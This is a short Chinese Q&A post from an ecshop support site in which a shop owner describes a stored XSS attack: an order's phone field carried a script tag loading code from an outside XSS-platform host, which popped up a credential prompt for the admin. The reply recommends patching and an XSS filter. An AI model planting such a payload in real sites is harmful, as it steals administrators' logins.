如何防止别人用XSS植入商城？

2016-07-07 15:11 来源：www.chinab4c.com 作者：ecshop专家

今天有人提交了一个订单，电话后面有一段代码13811116147<script src=http://xss.tw/**></script>，我打开订单页面后出现对话框，要求输入账号和密码。情况跟这篇文章写的一样“利用XSS打掉某**购物商城”http://www.yunsec.net/a/security/web/jbst/2013/0125/12324.html，请问这是什么情况？有什么后果？应该如何应对？谢谢高手赐教！

回答：
打最新补丁。
最偷懒办法上360网站卫士，或加上注入XSS防御脚本。